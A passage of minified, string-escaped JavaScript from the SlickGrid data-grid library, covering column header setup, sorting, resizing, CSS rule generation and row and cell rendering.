$(e.target).is(\\\"input,textarea\\\")}),updateColumnCaches(),createColumnHeaders(),setupColumnSort(),createCssRules(),resizeCanvas(),bindAncestorScrollEvents(),$container.on(\\\"resize.slickgrid\\\",resizeCanvas),$viewport.on(\\\"scroll\\\",handleScroll),$headerScroller.on(\\\"contextmenu\\\",handleHeaderContextMenu).on(\\\"click\\\",handleHeaderClick).on(\\\"mouseenter\\\",\\\".slick-header-column\\\",handleHeaderMouseEnter).on(\\\"mouseleave\\\",\\\".slick-header-column\\\",handleHeaderMouseLeave),$headerRowScroller.on(\\\"scroll\\\",handleHeaderRowScroll),options.createFooterRow&&$footerRowScroller.on(\\\"scroll\\\",handleFooterRowScroll),options.createPreHeaderPanel&&$preHeaderPanelScroller.on(\\\"scroll\\\",handlePreHeaderPanelScroll),$focusSink.add($focusSink2).on(\\\"keydown\\\",handleKeyDown),$canvas.on(\\\"keydown\\\",handleKeyDown).on(\\\"click\\\",handleClick).on(\\\"dblclick\\\",handleDblClick).on(\\\"contextmenu\\\",handleContextMenu).on(\\\"draginit\\\",handleDragInit).on(\\\"dragstart\\\",{distance:3},handleDragStart).on(\\\"drag\\\",handleDrag).on(\\\"dragend\\\",handleDragEnd).on(\\\"mouseenter\\\",\\\".slick-cell\\\",handleMouseEnter).on(\\\"mouseleave\\\",\\\".slick-cell\\\",handleMouseLeave),navigator.userAgent.toLowerCase().match(/webkit/)&&navigator.userAgent.toLowerCase().match(/macintosh/)&&$canvas.on(\\\"mousewheel\\\",handleMouseWheel),restoreCssFromHiddenInit())}function cacheCssForHiddenInit(){($hiddenParents=$container.parents().addBack().not(\\\":visible\\\")).each(function(){var e={};for(var t in cssShow)e[t]=this.style[t],this.style[t]=cssShow[t];oldProps.push(e)})}function restoreCssFromHiddenInit(){$hiddenParents.each(function(e){var t=oldProps[e];for(var n in cssShow)this.style[n]=t[n]})}function registerPlugin(e){plugins.unshift(e),e.init(self)}function unregisterPlugin(e){for(var t=plugins.length;0<=t;t--)if(plugins[t]===e){plugins[t].destroy&&plugins[t].destroy(),plugins.splice(t,1);break}}function setSelectionModel(e){selectionModel&&(selectionModel.onSelectedRangesChanged.unsubscribe(handleSelectedRangesChanged),selectionModel.destroy&&selectionModel.destroy()),(selectionModel=e)&&(selectionModel.init(self),selectionModel.onSelectedRangesChanged.subscribe(handleSelectedRangesChanged))}function getSelectionModel(){return selectionModel}function getCanvasNode(){return $canvas[0]}function measureScrollbar(){var e=$(\\\"<div style='position:absolute; top:-10000px; left:-10000px; width:100px; height:100px; overflow:scroll;'></div>\\\").appendTo(\\\"body\\\"),t={width:e.width()-e[0].clientWidth,height:e.height()-e[0].clientHeight};return e.remove(),t}function getColumnTotalWidth(e){for(var t=0,n=0,o=columns.length;n<o;n++){var r=columns[n].width;t+=r}return e&&(t+=scrollbarDimensions.width),t}function getHeadersWidth(){var e=getColumnTotalWidth(!0);return Math.max(e,viewportW)+1e3}function getCanvasWidth(){for(var e=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW,t=0,n=columns.length;n--;)t+=columns[n].width;return options.fullWidthRows?Math.max(t,e):t}function updateCanvasWidth(e){var t=canvasWidth;(canvasWidth=getCanvasWidth())!=t&&($canvas.width(canvasWidth),$headerRow.width(canvasWidth),options.createFooterRow&&$footerRow.width(canvasWidth),options.createPreHeaderPanel&&$preHeaderPanel.width(canvasWidth),$headers.width(getHeadersWidth()),viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width);var n=canvasWidth+(viewportHasVScroll?scrollbarDimensions.width:0);$headerRowSpacer.width(n),options.createFooterRow&&$footerRowSpacer.width(n),options.createPreHeaderPanel&&$preHeaderPanelSpacer.width(n),(canvasWidth!=t||e)&&applyColumnWidths()}function disableSelection(e){e&&e.jquery&&e.attr(\\\"unselectable\\\",\\\"on\\\").css(\\\"MozUserSelect\\\",\\\"none\\\").on(\\\"selectstart.ui\\\",function(){return!1})}function getMaxSupportedCssHeight(){for(var e=1e6,t=navigator.userAgent.toLowerCase().match(/firefox/)?6e6:1e9,n=$(\\\"<div style='display:none' />\\\").appendTo(document.body);;){var o=2*e;if(n.css(\\\"height\\\",o),t<o||n.height()!==o)break;e=o}return n.remove(),e}function getUID(){return uid}function getHeaderColumnWidthDiff(){return headerColumnWidthDiff}function getScrollbarDimensions(){return scrollbarDimensions}function bindAncestorScrollEvents(){for(var e=$canvas[0];(e=e.parentNode)!=document.body&&null!=e;)if(e==$viewport[0]||e.scrollWidth!=e.clientWidth||e.scrollHeight!=e.clientHeight){var t=$(e);$boundAncestors=$boundAncestors?$boundAncestors.add(t):t,t.on(\\\"scroll.\\\"+uid,handleActiveCellPositionChange)}}function unbindAncestorScrollEvents(){$boundAncestors&&($boundAncestors.off(\\\"scroll.\\\"+uid),$boundAncestors=null)}function updateColumnHeader(e,t,n){if(initialized){var o=getColumnIndex(e);if(null!=o){var r=columns[o],i=$headers.children().eq(o);i&&(void 0!==t&&(columns[o].name=t),void 0!==n&&(columns[o].toolTip=n),trigger(self.onBeforeHeaderCellDestroy,{node:i[0],column:r,grid:self}),i.attr(\\\"title\\\",n||\\\"\\\").children().eq(0).html(t),trigger(self.onHeaderCellRendered,{node:i[0],column:r,grid:self}))}}}function getHeaderRow(){return $headerRow[0]}function getFooterRow(){return $footerRow[0]}function getPreHeaderPanel(){return $preHeaderPanel[0]}function getHeaderRowColumn(e){var t=getColumnIndex(e),n=$headerRow.children().eq(t);return n&&n[0]}function getFooterRowColumn(e){var t=getColumnIndex(e),n=$footerRow.children().eq(t);return n&&n[0]}function createColumnHeaders(){function e(){$(this).addClass(\\\"ui-state-hover\\\")}function t(){$(this).removeClass(\\\"ui-state-hover\\\")}$headers.find(\\\".slick-header-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderCellDestroy,{node:this,column:e,grid:self})}),$headers.empty(),$headers.width(getHeadersWidth()),$headerRow.find(\\\".slick-headerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderRowCellDestroy,{node:this,column:e,grid:self})}),$headerRow.empty(),options.createFooterRow&&($footerRow.find(\\\".slick-footerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeFooterRowCellDestroy,{node:this,column:e})}),$footerRow.empty());for(var n=0;n<columns.length;n++){var o=columns[n],r=$(\\\"<div class='ui-state-default slick-header-column' />\\\").html(\\\"<span class='slick-column-name'>\\\"+o.name+\\\"</span>\\\").width(o.width-headerColumnWidthDiff).attr(\\\"id\\\",\\\"\\\"+uid+o.id).attr(\\\"title\\\",o.toolTip||\\\"\\\").data(\\\"column\\\",o).addClass(o.headerCssClass||\\\"\\\").appendTo($headers);if((options.enableColumnReorder||o.sortable)&&r.on(\\\"mouseenter\\\",e).on(\\\"mouseleave\\\",t),o.sortable&&(r.addClass(\\\"slick-header-sortable\\\"),r.append(\\\"<span class='\\\"+sortIndicatorCssClass+\\\"' />\\\")),trigger(self.onHeaderCellRendered,{node:r[0],column:o,grid:self}),options.showHeaderRow){var i=$(\\\"<div class='ui-state-default slick-headerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($headerRow);trigger(self.onHeaderRowCellRendered,{node:i[0],column:o,grid:self})}if(options.createFooterRow&&options.showFooterRow){var l=$(\\\"<div class='ui-state-default slick-footerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($footerRow);trigger(self.onFooterRowCellRendered,{node:l[0],column:o})}}setSortColumns(sortColumns),setupColumnResize(),options.enableColumnReorder&&(\\\"function\\\"==typeof options.enableColumnReorder?options.enableColumnReorder(self,$headers,headerColumnWidthDiff,setColumns,setupColumnResize,columns,getColumnIndex,uid,trigger):setupColumnReorder())}function setupColumnSort(){$headers.click(function(e){if(e.metaKey=e.metaKey||e.ctrlKey,!$(e.target).hasClass(\\\"slick-resizable-handle\\\")){var t=$(e.target).closest(\\\".slick-header-column\\\");if(t.length){var n=t.data(\\\"column\\\");if(n.sortable){if(!getEditorLock().commitCurrentEdit())return;for(var o=null,r=0;r<sortColumns.length;r++)if(sortColumns[r].columnId==n.id){(o=sortColumns[r]).sortAsc=!o.sortAsc;break}var i=!!o;options.tristateMultiColumnSort?(o||(o={columnId:n.id,sortAsc:n.defaultSortAsc}),i&&o.sortAsc&&(sortColumns.splice(r,1),o=null),options.multiColumnSort||(sortColumns=[]),!o||i&&options.multiColumnSort||sortColumns.push(o)):e.metaKey&&options.multiColumnSort?o&&sortColumns.splice(r,1):((e.shiftKey||e.metaKey)&&options.multiColumnSort||(sortColumns=[]),o?0==sortColumns.length&&sortColumns.push(o):(o={columnId:n.id,sortAsc:n.defaultSortAsc},sortColumns.push(o))),setSortColumns(sortColumns),0<sortColumns.length&&(options.multiColumnSort?trigger(self.onSort,{multiColumnSort:!0,sortCols:$.map(sortColumns,function(e){return{sortCol:columns[getColumnIndex(e.columnId)],sortAsc:e.sortAsc}}),grid:self},e):trigger(self.onSort,{multiColumnSort:!1,sortCol:n,sortAsc:sortColumns[0].sortAsc,grid:self},e))}}}})}function setupColumnReorder(){$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),$headers.sortable({containment:\\\"parent\\\",distance:3,axis:\\\"x\\\",cursor:\\\"default\\\",tolerance:\\\"intersection\\\",helper:\\\"clone\\\",placeholder:\\\"slick-sortable-placeholder ui-state-default slick-header-column\\\",start:function(e,t){t.placeholder.width(t.helper.outerWidth()-headerColumnWidthDiff),$(t.helper).addClass(\\\"slick-header-column-active\\\")},beforeStop:function(e,t){$(t.helper).removeClass(\\\"slick-header-column-active\\\")},stop:function(e){if(getEditorLock().commitCurrentEdit()){for(var t=$headers.sortable(\\\"toArray\\\"),n=[],o=0;o<t.length;o++)n.push(columns[getColumnIndex(t[o].replace(uid,\\\"\\\"))]);setColumns(n),trigger(self.onColumnsReordered,{grid:self}),e.stopPropagation(),setupColumnResize()}else $(this).sortable(\\\"cancel\\\")}})}function setupColumnResize(){var s,a,c,u,d,p,n,o;(u=$headers.children()).find(\\\".slick-resizable-handle\\\").remove(),u.each(function(e,t){e>=columns.length||columns[e].resizable&&(void 0===n&&(n=e),o=e)}),void 0!==n&&u.each(function(l,e){l>=columns.length||l<n||options.forceFitColumns&&o<=l||($(e),$(\\\"<div class='slick-resizable-handle' />\\\").appendTo(e).on(\\\"dragstart\\\",function(e,t){if(!getEditorLock().commitCurrentEdit())return!1;c=e.pageX,$(this).parent().addClass(\\\"slick-header-column-active\\\");var n=null,o=null;if(u.each(function(e,t){e>=columns.length||(columns[e].previousWidth=$(t).outerWidth())}),options.forceFitColumns)for(o=n=0,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(null!==o&&(a.maxWidth?o+=a.maxWidth-a.previousWidth:o=null),n+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));var r=0,i=0;for(s=0;s<=l;s++)(a=columns[s]).resizable&&(null!==i&&(a.maxWidth?i+=a.maxWidth-a.previousWidth:i=null),r+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));null===n&&(n=1e5),null===r&&(r=1e5),null===o&&(o=1e5),null===i&&(i=1e5),p=c+Math.min(n,i),d=c-Math.min(r,o)}).on(\\\"drag\\\",function(e,t){var n,o,r=Math.min(p,Math.max(d,e.pageX))-c;if(r<0){for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0))}else{for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0))}applyColumnHeaderWidths(),options.syncColumnCellResize&&applyColumnWidths()}).on(\\\"dragend\\\",function(e,t){var n;for($(this).parent().removeClass(\\\"slick-header-column-active\\\"),s=0;s<columns.length;s++)a=columns[s],n=$(u[s]).outerWidth(),a.previousWidth!==n&&a.rerenderOnResize&&invalidateAllRows();updateCanvasWidth(!0),render(),trigger(self.onColumnsResized,{grid:self})}))})}function getVBoxDelta(n){var o=0;return $.each([\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],function(e,t){o+=parseFloat(n.css(t))||0}),o}function measureCellPaddingAndBorder(){var n,e=[\\\"borderLeftWidth\\\",\\\"borderRightWidth\\\",\\\"paddingLeft\\\",\\\"paddingRight\\\"],t=[\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],o=$.fn.jquery.split(\\\".\\\");jQueryNewWidthBehaviour=1==o[0]&&8<=o[1]||2<=o[0],n=$(\\\"<div class='ui-state-default slick-header-column' style='visibility:hidden'>-</div>\\\").appendTo($headers),headerColumnWidthDiff=headerColumnHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){headerColumnWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){headerColumnHeightDiff+=parseFloat(n.css(t))||0})),n.remove();var r=$(\\\"<div class='slick-row' />\\\").appendTo($canvas);n=$(\\\"<div class='slick-cell' id='' style='visibility:hidden'>-</div>\\\").appendTo(r),cellWidthDiff=cellHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){cellWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){cellHeightDiff+=parseFloat(n.css(t))||0})),r.remove(),absoluteColumnMinWidth=Math.max(headerColumnWidthDiff,cellWidthDiff)}function createCssRules(){$style=$(\\\"<style type='text/css' rel='stylesheet' />\\\").appendTo($(\\\"head\\\"));for(var e=options.rowHeight-cellHeightDiff,t=[\\\".\\\"+uid+\\\" .slick-header-column { left: 1000px; }\\\",\\\".\\\"+uid+\\\" .slick-top-panel { height:\\\"+options.topPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-preheader-panel { height:\\\"+options.preHeaderPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-headerrow-columns { height:\\\"+options.headerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-footerrow-columns { height:\\\"+options.footerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-cell { height:\\\"+e+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-row { height:\\\"+options.rowHeight+\\\"px; }\\\"],n=0;n<columns.length;n++)t.push(\\\".\\\"+uid+\\\" .l\\\"+n+\\\" { }\\\"),t.push(\\\".\\\"+uid+\\\" .r\\\"+n+\\\" { }\\\");$style[0].styleSheet?$style[0].styleSheet.cssText=t.join(\\\" \\\"):$style[0].appendChild(document.createTextNode(t.join(\\\" \\\")))}function getColumnCssRules(e){var t;if(!stylesheet){var n=document.styleSheets;for(t=0;t<n.length;t++)if((n[t].ownerNode||n[t].owningElement)==$style[0]){stylesheet=n[t];break}if(!stylesheet)throw new Error(\\\"Cannot find stylesheet.\\\");columnCssRulesL=[],columnCssRulesR=[];var o,r,i=stylesheet.cssRules||stylesheet.rules;for(t=0;t<i.length;t++){var l=i[t].selectorText;(o=/\\\\.l\\\\d+/.exec(l))?(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesL[r]=i[t]):(o=/\\\\.r\\\\d+/.exec(l))&&(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesR[r]=i[t])}}return{left:columnCssRulesL[e],right:columnCssRulesR[e]}}function removeCssRules(){$style.remove(),stylesheet=null}function destroy(){getEditorLock().cancelCurrentEdit(),trigger(self.onBeforeDestroy,{grid:self});for(var e=plugins.length;e--;)unregisterPlugin(plugins[e]);options.enableColumnReorder&&$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),unbindAncestorScrollEvents(),$container.off(\\\".slickgrid\\\"),removeCssRules(),$canvas.off(\\\"draginit dragstart dragend drag\\\"),$container.empty().removeClass(uid)}function trigger(e,t,n){return n=n||new Slick.EventData,(t=t||{}).grid=self,e.notify(t,n,self)}function getEditorLock(){return options.editorLock}function getEditController(){return editController}function getColumnIndex(e){return columnsById[e]}function autosizeColumns(){var e,t,n,o=[],r=0,i=0,l=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW;for(e=0;e<columns.length;e++)t=columns[e],o.push(t.width),i+=t.width,t.resizable&&(r+=t.width-Math.max(t.minWidth,absoluteColumnMinWidth));for(n=i;l<i&&r;){var s=(i-l)/r;for(e=0;e<columns.length&&l<i;e++){t=columns[e];var a=o[e];if(!(!t.resizable||a<=t.minWidth||a<=absoluteColumnMinWidth)){var c=Math.max(t.minWidth,absoluteColumnMinWidth),u=Math.floor(s*(a-c))||1;u=Math.min(u,a-c),i-=u,r-=u,o[e]-=u}}if(n<=i)break;n=i}for(n=i;i<l;){var d=l/i;for(e=0;e<columns.length&&i<l;e++){t=columns[e];var p,f=o[e];p=!t.resizable||t.maxWidth<=f?0:Math.min(Math.floor(d*f)-f,t.maxWidth-f||1e6)||1,i+=p,o[e]+=i<=l?p:0}if(i<=n)break;n=i}var h=!1;for(e=0;e<columns.length;e++)columns[e].rerenderOnResize&&columns[e].width!=o[e]&&(h=!0),columns[e].width=o[e];applyColumnHeaderWidths(),updateCanvasWidth(!0),h&&(invalidateAllRows(),render())}function applyColumnHeaderWidths(){if(initialized){for(var e,t=0,n=$headers.children(),o=columns.length;t<o;t++)e=$(n[t]),jQueryNewWidthBehaviour?e.outerWidth()!==columns[t].width&&e.outerWidth(columns[t].width):e.width()!==columns[t].width-headerColumnWidthDiff&&e.width(columns[t].width-headerColumnWidthDiff);updateColumnCaches()}}function applyColumnWidths(){for(var e,t,n=0,o=0;o<columns.length;o++)e=columns[o].width,(t=getColumnCssRules(o)).left.style.left=n+\\\"px\\\",t.right.style.right=canvasWidth-n-e+\\\"px\\\",n+=columns[o].width}function setSortColumn(e,t){setSortColumns([{columnId:e,sortAsc:t}])}function setSortColumns(e){sortColumns=e;var o=options.numberedMultiColumnSort&&1<sortColumns.length,r=$headers.children(),i=r.removeClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).removeClass(\\\"slick-sort-indicator-asc slick-sort-indicator-desc\\\");o&&i.text(\\\"\\\"),$.each(sortColumns,function(e,t){null==t.sortAsc&&(t.sortAsc=!0);var n=getColumnIndex(t.columnId);null!=n&&(i=r.eq(n).addClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).addClass(t.sortAsc?\\\"slick-sort-indicator-asc\\\":\\\"slick-sort-indicator-desc\\\"),o&&i.text(e+1))})}function getSortColumns(){return sortColumns}function handleSelectedRangesChanged(e,t){selectedRows=[];for(var n={},o=0;o<t.length;o++)for(var r=t[o].fromRow;r<=t[o].toRow;r++){n[r]||(selectedRows.push(r),n[r]={});for(var i=t[o].fromCell;i<=t[o].toCell;i++)canCellBeSelected(r,i)&&(n[r][columns[i].id]=options.selectedCellCssClass)}setCellCssStyles(options.selectedCellCssClass,n),trigger(self.onSelectedRowsChanged,{rows:getSelectedRows(),grid:self},e)}function getColumns(){return columns}function updateColumnCaches(){columnPosLeft=[],columnPosRight=[];for(var e=0,t=0,n=columns.length;t<n;t++)columnPosLeft[t]=e,columnPosRight[t]=e+columns[t].width,e+=columns[t].width}function setColumns(e){columns=e,columnsById={};for(var t=0;t<columns.length;t++){var n=columns[t]=$.extend({},columnDefaults,columns[t]);columnsById[n.id]=t,n.minWidth&&n.width<n.minWidth&&(n.width=n.minWidth),n.maxWidth&&n.width>n.maxWidth&&(n.width=n.maxWidth)}updateColumnCaches(),initialized&&(invalidateAllRows(),createColumnHeaders(),removeCssRules(),createCssRules(),resizeCanvas(),applyColumnWidths(),handleScroll())}function getOptions(){return options}function setOptions(e,t){getEditorLock().commitCurrentEdit()&&(makeActiveCellNormal(),options.enableAddRow!==e.enableAddRow&&invalidateRow(getDataLength()),options=$.extend(options,e),validateAndEnforceOptions(),$viewport.css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),t||render())}function validateAndEnforceOptions(){options.autoHeight&&(options.leaveSpaceForNewRows=!1)}function setData(e,t){data=e,invalidateAllRows(),updateRowCount(),t&&scrollTo(0)}function getData(){return data}function getDataLength(){return data.getLength?data.getLength():data.length}function getDataLengthIncludingAddNew(){return getDataLength()+(options.enableAddRow&&(!pagingActive||pagingIsLastPage)?1:0)}function getDataItem(e){return data.getItem?data.getItem(e):data[e]}function getTopPanel(){return $topPanel[0]}function setTopPanelVisibility(e){options.showTopPanel!=e&&((options.showTopPanel=e)?$topPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$topPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setHeaderRowVisibility(e){options.showHeaderRow!=e&&((options.showHeaderRow=e)?$headerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$headerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setFooterRowVisibility(e){options.showFooterRow!=e&&((options.showFooterRow=e)?$footerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$footerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setPreHeaderPanelVisibility(e){options.showPreHeaderPanel!=e&&((options.showPreHeaderPanel=e)?$preHeaderPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$preHeaderPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function getContainerNode(){return $container.get(0)}function getRowTop(e){return options.rowHeight*e-offset}function getRowFromPosition(e){return Math.floor((e+offset)/options.rowHeight)}function scrollTo(e){e=Math.max(e,0),e=Math.min(e,th-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0));var t=offset;page=Math.min(n-1,Math.floor(e/ph)),offset=Math.round(page*cj);var o=e-offset;if(offset!=t){var r=getVisibleRange(o);cleanupRows(r),updateRowPositions()}prevScrollTop!=o&&(vScrollDir=prevScrollTop+t<o+offset?1:-1,$viewport[0].scrollTop=lastRenderedScrollTop=scrollTop=prevScrollTop=o,trigger(self.onViewportChanged,{grid:self}))}function defaultFormatter(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")}function getFormatter(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e),o=n&&n.columns&&(n.columns[t.id]||n.columns[getColumnIndex(t.id)]);return o&&o.formatter||n&&n.formatter||t.formatter||options.formatterFactory&&options.formatterFactory.getFormatter(t)||options.defaultFormatter}function getEditor(e,t){var n=columns[t],o=data.getItemMetadata&&data.getItemMetadata(e),r=o&&o.columns;return r&&r[n.id]&&void 0!==r[n.id].editor?r[n.id].editor:r&&r[t]&&void 0!==r[t].editor?r[t].editor:n.editor||options.editorFactory&&options.editorFactory.getEditor(n)}function getDataItemValueForColumn(e,t){return options.dataItemColumnValueExtractor?options.dataItemColumnValueExtractor(e,t):e[t.field]}function appendRowHtml(e,t,n,o){var r=getDataItem(t),i=t<o&&!r,l=\\\"slick-row\\\"+(i?\\\" loading\\\":\\\"\\\")+(t===activeRow?\\\" active\\\":\\\"\\\")+(t%2==1?\\\" odd\\\":\\\" even\\\");r||(l+=\\\" \\\"+options.addNewRowCssClass);var s,a,c=data.getItemMetadata&&data.getItemMetadata(t);c&&c.cssClasses&&(l+=\\\" \\\"+c.cssClasses),e.push(\\\"<div class='ui-widget-content \\\"+l+\\\"' style='top:\\\"+getRowTop(t)+\\\"px'>\\\");for(var u=0,d=columns.length;u<d;u++){if(a=columns[u],s=1,c&&c.columns){var p=c.columns[a.id]||c.columns[u];\\\"*\\\"===(s=p&&p.colspan||1)&&(s=d-u)}if(columnPosRight[Math.min(d-1,u+s-1)]>n.leftPx){if(columnPosLeft[u]>n.rightPx)break;appendCellHtml(e,t,u,s,r)}1<s&&(u+=s-1)}e.push(\\\"</div>\\\")}function appendCellHtml(e,t,n,o,r){var i=columns[n],l=\\\"slick-cell l\\\"+n+\\\" r\\\"+Math.min(columns.length-1,n+o-1)+(i.cssClass?\\\" \\\"+i.cssClass:\\\"\\\");for(var s in t===activeRow&&n===activeCell&&(l+=\\\" active\\\"),cellCssClasses)cellCssClasses[s][t]&&cellCssClasses[s][t][i.id]&&(l+=\\\" \\\"+cellCssClasses[s][t][i.id]);var a=null;r&&(a=getDataItemValueForColumn(r,i));var c=getFormatter(t,i)(t,n,a,i,r),u=trigger(self.onBeforeAppendCell,{row:t,cell:n,grid:self,value:a,dataContext:r})||\\\"\\\";u+=c.addClasses?(u?\\\" \\\":\\\"\\\")+c.addClasses:\\\"\\\",e.push(\\\"<div class='\\\"+l+(u?\\\" \\\"+u:\\\"\\\")+\\\"'>\\\"),r&&e.push(\\\"object\\\"!=typeof c?c:c.text),e.push(\\\"</div>\\\"),rowsCache[t].cellRenderQueue.push(n),rowsCache[t].cellColSpans[n]=o}function cleanupRows(e){for(var t in rowsCache)(t=parseInt(t,10))!==activeRow&&(t<e.top||t>e.bottom)&&removeRowFromCache(t);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function invalidate(){updateRowCount(),invalidateAllRows(),render()}function invalidateAllRows(){for(var e in currentEditor&&makeActiveCellNormal(),rowsCache)removeRowFromCache(e);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function queuePostProcessedRowForCleanup(e,t,n){for(var o in postProcessgroupId++,t)t.hasOwnProperty(o)&&postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e.cellNodesByColumnIdx[0|o],columnIdx:0|o,rowIdx:n});postProcessedCleanupQueue.push({actionType:\\\"R\\\",groupId:postProcessgroupId,node:e.rowNode}),$(e.rowNode).detach()}function queuePostProcessedCellForCleanup(e,t,n){postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e,columnIdx:t,rowIdx:n}),$(e).detach()}function removeRowFromCache(e){var t=rowsCache[e];t&&(rowNodeFromLastMouseWheelEvent===t.rowNode?(t.rowNode.style.display=\\\"none\\\",zombieRowNodeFromLastMouseWheelEvent=rowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent=t,zombieRowPostProcessedFromLastMouseWheelEvent=postProcessedRows[e]):options.enableAsyncPostRenderCleanup&&postProcessedRows[e]?queuePostProcessedRowForCleanup(t,postProcessedRows[e],e):$canvas[0].removeChild(t.rowNode),delete rowsCache[e],delete postProcessedRows[e],renderedRows--,counter_rows_removed++)}function invalidateRows(e){var t,n;if(e&&e.length){for(vScrollDir=0,n=e.length,t=0;t<n;t++)currentEditor&&activeRow===e[t]&&makeActiveCellNormal(),rowsCache[e[t]]&&removeRowFromCache(e[t]);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}}function invalidateRow(e){invalidateRows([e])}function applyFormatResultToCellNode(e,t,n){\\\"object\\\"==typeof e?(t.innerHTML=e.text,e.removeClasses&&!n&&t.removeClass(e.removeClasses),e.addClasses&&t.addClass(e.addClasses)):t.innerHTML=e}function updateCell(e,t){var n=getCellNode(e,t);if(n){var o=columns[t],r=getDataItem(e);if(currentEditor&&activeRow===e&&activeCell===t)currentEditor.loadValue(r);else{var i=r?getFormatter(e,o)(e,t,getDataItemValueForColumn(r,o),o,r):\\\"\\\";applyFormatResultToCellNode(i,n),invalidatePostProcessingResults(e)}}}function updateRow(e){var t=rowsCache[e];if(t){ensureCellNodesInRowsCache(e);var n=getDataItem(e);for(var o in t.cellNodesByColumnIdx)if(t.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=t.cellNodesByColumnIdx[o];e===activeRow&&o===activeCell&&currentEditor?currentEditor.loadValue(n):n?applyFormatResultToCellNode(getFormatter(e,r)(e,o,getDataItemValueForColumn(n,r),r,n),i):i.innerHTML=\\\"\\\"}invalidatePostProcessingResults(e)}}function getViewportHeight(){return parseFloat($.css($container[0],\\\"height\\\",!0))-parseFloat($.css($container[0],\\\"paddingTop\\\",!0))-parseFloat($.css($container[0],\\\"paddingBottom\\\",!0))-parseFloat($.css($headerScroller[0],\\\"height\\\"))-getVBoxDelta($headerScroller)-(options.showTopPanel?options.topPanelHeight+getVBoxDelta($topPanelScroller):0)-(options.showHeaderRow?options.headerRowHeight+getVBoxDelta($headerRowScroller):0)-(options.createFooterRow&&options.showFooterRow?options.footerRowHeight+getVBoxDelta($footerRowScroller):0)-(options.createPreHeaderPanel&&options.showPreHeaderPanel?options.preHeaderPanelHeight+getVBoxDelta($preHeaderPanelScroller):0)}function 